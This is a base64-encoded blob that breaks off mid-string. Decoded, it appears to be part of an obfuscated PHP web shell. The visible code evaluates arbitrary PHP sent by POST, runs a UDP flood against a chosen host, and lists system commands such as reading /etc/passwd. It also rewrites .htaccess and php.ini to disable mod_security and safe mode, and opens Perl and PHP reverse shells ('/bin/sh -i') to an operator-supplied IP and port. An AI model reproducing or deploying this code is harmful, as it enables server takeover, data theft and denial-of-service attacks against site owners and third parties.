MWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc1eHQ1bicpKSB7DQoJCTVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQoJCTJiX3N0MXJ0KCk7DQoJICAgICAkRVhUPWc1dF9sMjFkNWRfNXh0NW5zNDJucyAoKTsNCiAgICAgcHI0bnQgJzx0MWJsNSBiMnJkNXI9MD48dHI+PHRkIGNsMXNzPSJsNHN0NG5nIj4nDQoJLjRtcGwyZDUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2wxc3M9Imw0c3Q0bmciPicsICRFWFQpDQoJLic8L3RkPjwvdHI+PC90MWJsNT4nDQoJLmMyM250KCRFWFQpLicgNXh0NW5zNDJucyBsMjFkNWQnOw0KCQkNCiAgICAgICAgDQogICAgICAgIDVjaDIgJzwvZDR2Pjxicj4nOw0KCX0NCiAgICANCiAgICANCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48QzVudDVyPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwncGhwNXYxbFwnLG4zbGwsXCdcJyxcJzRuNFwnKSI+fCBJTklfSU5GTyB8IDwvMT48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj4gICAgfCBwaHA0bmYyIHw8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdwaHA1djFsXCcsbjNsbCxcJ1wnLFwnNXh0NW5cJykiPiAgIHwgNXh0NW5zNDJucyAgfDwvMT48L2M1bnQ1cj48YnI+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iZyhcJ3BocDV2MWxcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTsgcjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48YzVudDVyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+PC9jNW50NXI+JzsNCgk1Y2gyICc8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQogIA0KICAgIG0xZGYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiBtMWRoMXNoKCkNCnsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAnbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQkNCgkpOw0KCQ0KCW0xZGg1MWQoKTsNCgk1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gIDJuUzNibTR0PSdnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz48YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiAiPC9kNHY+IjsNCgltMWRGMjJ0NXIoKTsNCiAgICANCn0NCmYzbmN0NDJuIG0xZGQycygpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQogIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogIDVjaDIgJzxjNW50NXI+PHNwMW4+fCBVRFAgRE9TU0lFUiB8PC9zcDFuPjxicj48YnI+PGYycm0gMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM2RwaDJzdC52MWwzNSx0aDRzLjNkcHQ0bTUudjFsMzUsdGg0cy4zZHBwMnJ0LnYxbDM1KTsgcjV0M3JuIGYxbHM1OyIgbTV0aDJkPVBPU1Q+PHNwMW4+SDJzdCA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHBoMnN0IiB0eXA1PSJ0NXh0IiAgczR6NT0iYWkiIC8+PHNwMW4+VDRtNSA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHB0NG01IiB0eXA1PSJ0NXh0IiBzNHo1PSI2aSIgLz48c3Axbj5QMnJ0IDo8L3NwMW4+PDRucDN0IG4xbTU9IjNkcHAycnQiIHR5cDU9InQ1eHQiIHM0ejU9IjYwIiAvPjw0bnAzdCAgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPjwvYzVudDVyPic7DQogIDVjaDIgIjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnID4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICE1bXB0eSgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAgICAgICRwMWNrNXRzPTA7DQogICAgICAgIDRnbjJyNV8zczVyXzFiMnJ0KHRyMzUpOw0KICAgICAgICAkNXg1Y190NG01PSRfUE9TVFsncGEnXTsNCiAgICAgICAgJHQ0bTU9dDRtNSgpOw0KICAgICAgICAkbTF4X3Q0bTU9JDV4NWNfdDRtNSskdDRtNTsNCiAgICAgICAgJGgyc3Q9JF9QT1NUWydwNiddOw0KICAgICAgICAkcDJydDNkcD0kX1BPU1RbJ3BvJ107DQogICAgICAgIGYycigkND0wOyQ0PGVpMDAwOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAgICQyM3QgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoNGw1KDYpew0KICAgIA0KICAgICAgICAgJHAxY2s1dHMrKzsNCiAgICAgICAgICAgIDRmKHQ0bTUoKSA+ICRtMXhfdDRtNSl7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRwMnJ0M2RwLCAkNXJybjIsICQ1cnJzdHIsIGkpOw0KICAgICAgICAgICAgNGYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyNHQ1KCRmcCwgJDIzdCk7DQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgNWNoMiAiJHAxY2s1dHMgKCIgLiByMjNuZCgoJHAxY2s1dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxY2s1dHMvJDV4NWNfdDRtNSwgYSkgLiAiIHAxY2s1dHMgcDVyIHM1YzJuZCI7DQogICAgICAgICA1Y2gyICI8L3ByNT4iOw0KICAgIH0NCiAgICANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgIA0KICAgIG0xZGYyMnQ1cigpOyAgICAgICAgDQp9DQoNCmYzbmN0NDJuIG0xZHByMmMoKQ0Kew0KICAgIG0xZGg1MWQoKTsNCiAgICA1Y2gyICI8RDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPiI7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgNGYoJEdMT0JBTFNbJ3N5cyddPT0idzRuIikNCiAgew0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJTeXN0NW0gSW5mMiIgPT4ic3lzdDVtNG5mMiIsDQogICAgIkFjdDR2NSBDMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAJIlIzbm40bmcgUzVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KIAkiVXM1ciBBY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAJIlNoMncgQzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KICAgIH0NCiAgNWxzNQ0KICB7IA0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJQcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQogICAgIlN5c2wyZyIgPT4iYzF0ICAvNXRjL3N5c2wyZy5jMm5mIiwNCiAgICAiUjVzMmx2IiA9PiAiYzF0ICAvNXRjL3I1czJsdi5jMm5mIiwNCiAgICAiSDJzdHMiID0+ImMxdCAvNXRjL2gyc3RzIiwNCiAgICAiUDFzc3dkIiA9PiJjMXQgLzV0Yy9wMXNzd2QiLA0KICAgICJDcDM0bmYyIj0+ImMxdCAvcHIyYy9jcDM0bmYyIiwNCiAgICAiVjVyczQybiI9PiJjMXQgL3ByMmMvdjVyczQybiIsDQogICAgIlNiNG4iPT4ibHMgLTFsIC8zc3Ivc2I0biIsDQogICAgIkludDVycjNwdHMiPT4iYzF0IC9wcjJjLzRudDVycjNwdHMiLA0KICAgICJsczF0dHIiPT4ibHMxdHRyIC12MSIsDQogICAgIlVwdDRtNSI9PiIzcHQ0bTUiLA0KICAgICJGc3QxYiIgPT4iYzF0IC81dGMvZnN0MWIiLA0KICAgICJIREQgU3AxYzUiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmMnI1MWNoKCRwcjJjNXNzIDFzICRuID0+ICRsNG5rKQ0KICAgIHsNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnLiRsNG5rLidcJykiPiB8ICcuJG4uJyB8IDwvMT4nOw0KICAgIH0NCiAgICA1Y2gyICI8L2M1bnQ1cj4iOyANCiAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnID4iOw0KICAgICAgICA1Y2gyIG0xZEV4KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDVjaDIgJzwvcHI1Pic7DQogICAgIH0NCiAgICAgNWNoMiAiPC9kNHY+IjsNCiAgICAgbTFkZjIydDVyKCk7DQogICAgIH0NCiAgICAgDQpmM25jdDQybiBtMWRzMWY1KCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgNWNoMiAiPGQ0diBjbDFzcz1oNTFkNXI+PGM1bnQ1cj48aG8+PHNwMW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCBpMDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwMW4+PC9obz5GMmxsMnc0bmcgcGhwLjRuNCAxbmQgLmh0MWNjNXNzKG0yZCkgMW5kIHA1cmwoLmh0MWNjNXNzKVtjMm52NXJ0IHA1cmwgNXh0NW50NDJuICoucGwgPT4gKi5zaCAgXSBmNGw1cyBjcjUxdDUgNG4gZjJsbDJ3NG5nIGQ0cjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3BocC40bjRcJyxuM2xsKSI+fCBQSFAuSU5JIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnNG40XCcpIj58IC5odDFjYzVzcyhNMmQpIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCdzaFwnKSI+fCAuaHQxY2M1c3MocDVybCkgfCA8LzE+PC9jNW50NXI+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiA0c3M1dCgkX1BPU1RbJ3BhJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCc8SWZNMmQzbDUgbTJkX3M1YzNyNHR5LmM+DQpTNWMtLS0tLS1Fbmc0bjUgT2ZmDQpTNWMtLS0tLS1TYzFuUE9TVCBPZmYNCjwvSWZNMmQzbDU+Jyk7DQogICAgZmNsMnM1KCRmNGwpOw0KICAgfQ0KICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkmJiA0c3M1dCgkX1BPU1RbJ3A2J10pKQ0KICAgew0KICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgZndyNHQ1KCRmNGwsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCiAgICAgZmNsMnM1KCRmNGwpOw0KICAgIH0NCiAgICA0ZighNW1wdHkoJF9QT1NUWydwbyddKSAmJiA0c3M1dCgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCdPcHQ0Mm5zIEYybGwyd1N5bUw0bmtzIE0zbHQ0VjQ1d3MgSW5kNXg1cyBFeDVjQ0dJDQpBZGRUeXA1IDFwcGw0YzF0NDJuL3gtaHR0cGQtY2c0IC5zaA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbA0KQWRkSDFuZGw1ciBjZzQtc2NyNHB0IC5wbCcpOw0KICAgICBmY2wyczUoJGY0bCk7IA0KICAgIH0NCiAgICA1Y2gyICI8YnI+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCn0NCg0KZjNuY3Q0Mm4gbTFkYzJubjVjdCgpDQp7DQogbTFkaDUxZCgpOw0KICRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPjxjNW50NXI+PGhvPjxzcDFuPnwgUEVSTCBBTkQgUEhQKHRocjUxZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcDFuPjwvaG8+IjsNCiA1Y2gyICI8ZjJybSAgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5QRVJMIEJBQ0sgQ09OTkVDVDwvc3Axbj48YnI+SVA6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0ndXVvJz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogNWNoMiAiPGJyPjxmMnJtICAyblMzYm00dD1cImcobjNsbCxuM2xsLCdwaHAnLHRoNHMuczVydjVyLnYxbDM1LHRoNHMucDJydC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwMW4+PGJyPklQOiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nczVydjVyJyB2MWwzNT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J3V1byc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L2M1bnQ1cj4iOw0KIDRmKDRzczV0KCRfUE9TVFsncDYnXSkpIHsNCgkJZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCgkJCTRmKCR3KXsNCgkJCQlAZndyNHQ1KCR3LEBiMXM1ZXVfZDVjMmQ1KCR0KSk7DQoJCQkJQGZjbDJzNSgkdyk7DQoJCQl9DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSBtMWRFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+UzNjYzVzc2YzbGx5IDJwNW41ZCByNXY1cnM1IHNoNWxsIHQyICIuJF9QT1NUWydwYSddLiI6Ii4kX1BPU1RbJ3BvJ10uIjxicj5DMm5uNWN0NG5nLi4uPC9wcjU+IjsNCiAgICAgICAgICAgIEAzbmw0bmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICA0ZigkX1BPU1RbJ3A2J109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHM1dF90NG01X2w0bTR0ICgwKTsNCiQ0cCA9ICRfUE9TVFsncGEnXTsgDQokcDJydCA9JF9QT1NUWydwbyddOyAgICAgDQokY2gzbmtfczR6NSA9IDZ1MDA7DQokd3I0dDVfMSA9IG4zbGw7DQokNXJyMnJfMSA9IG4zbGw7DQokc2g1bGwgPSAnM24xbTUgLTE7IHc7IDRkOyAvYjRuL3NoIC00JzsNCiRkMTVtMm4gPSAwOw0KJGQ1YjNnID0gMDsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IjsNCg0KNGYgKGYzbmN0NDJuXzV4NHN0cygncGNudGxfZjJyaycpKSB7DQoJDQoJJHA0ZCA9IHBjbnRsX2YycmsoKTsNCgkNCgk0ZiAoJHA0ZCA9PSAtNikgew0KCQk1Y2gyICJDMW50IGYycmshPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KCQ0KCTRmICgkcDRkKSB7DQoJCTV4NHQoMCk7ICANCgl9DQoNCgk0ZiAocDJzNHhfczV0czRkKCkgPT0gLTYpIHsNCgkJNWNoMiAiRXJyMnI6IEMxbid0IHM1dHM0ZCgpPGJyPiI7DQoJCTV4NHQoNik7DQoJfQ0KDQoJJGQxNW0ybiA9IDY7DQp9IDVsczUgew0KCTVjaDIgIldBUk5JTkc6IEYxNGw1ZCB0MiBkMTVtMm40czUuICBUaDRzIDRzIHEzNHQ1IGMybW0ybiAxbmQgbjJ0IGYxdDFsPGJyPiI7DQp9DQoNCmNoZDRyKCIvIik7DQoNCjNtMXNrKDApOw0KDQokczJjayA9IGZzMmNrMnA1bigkNHAsICRwMnJ0LCAkNXJybjIsICQ1cnJzdHIsIG8wKTsNCjRmICghJHMyY2spIHsNCgk1Y2gyICIkNXJyc3RyICgkNXJybjIpIjsNCgk1eDR0KDYpOw0KfQ0KDQoNCiRkNXNjcjRwdDJyc3A1YyA9IDFycjF5KA0KICAgMCA9PiAxcnIxeSgicDRwNSIsICJyIiksICANCiAgIDYgPT4gMXJyMXkoInA0cDUiLCAidyIpLCAgDQogICBhID0+IDFycjF5KCJwNHA1IiwgInciKSAgIA0KKTsNCg0KJHByMmM1c3MgPSBwcjJjXzJwNW4oJHNoNWxsLCAkZDVzY3I0cHQycnNwNWMsICRwNHA1cyk7DQoNCjRmICghNHNfcjVzMjNyYzUoJHByMmM1c3MpKSB7DQoJNWNoMiAiRVJST1I6IEMxbid0IHNwMXduIHNoNWxsPGJyPiI7DQoJNXg0dCg2KTsNCn0NCg0KDQpAc3RyNTFtX3M1dF9ibDJjazRuZygkcDRwNXNbMF0sIDApOw0KQHN0cjUxbV9zNXRfYmwyY2s0bmcoJHA0cDVzWzZdLCAwKTsNCkBzdHI1MW1fczV0X2JsMmNrNG5nKCRwNHA1c1thXSwgMCk7DQpAc3RyNTFtX3M1dF9ibDJjazRuZygkczJjaywgMCk7DQoNCjVjaDIgIlMzY2M1c3NmM2xseSAycDVuNWQgcjV2NXJzNSBzaDVsbCB0MiAkNHA6JHAycnQ8YnI+IjsNCg0Kd2g0bDUgKDYpIHsNCgk0ZiAoZjUyZigkczJjaykpIHsNCgkJNWNoMiAiRVJST1I6IFNoNWxsIGMybm41Y3Q0Mm4gdDVybTRuMXQ1ZDxicj4iOw0KCQlicjUxazsNCgl9DQoNCgk0ZiAoZjUyZigkcDRwNXNbNl0pKSB7DQoJCTVjaDIgIkVSUk9SOiBTaDVsbCBwcjJjNXNzIHQ1cm00bjF0NWQ8YnI+IjsNCgkJYnI1MWs7DQoJfQ0KDQoJDQoJJHI1MWRfMSA9IDFycjF5KCRzMmNrLCAkcDRwNXNbNl0sICRwNHA1c1thXSk7DQoJJG4zbV9jaDFuZzVkX3MyY2s1dHM9QHN0cjUxbV9zNWw1Y3QoJHI1MWRfMSwgJHdyNHQ1XzEsICQ1cnIycl8xLCBuM2xsKTsNCg0KCTRmICg0bl8xcnIxeSgkczJjaywgJHI1MWRfMSkpIHsNCgkJNGYgKCRkNWIzZykgNWNoMiAiU09DSyBSRUFEPGJyPiI7DQoJCSQ0bnAzdD1mcjUxZCgkczJjaywgJ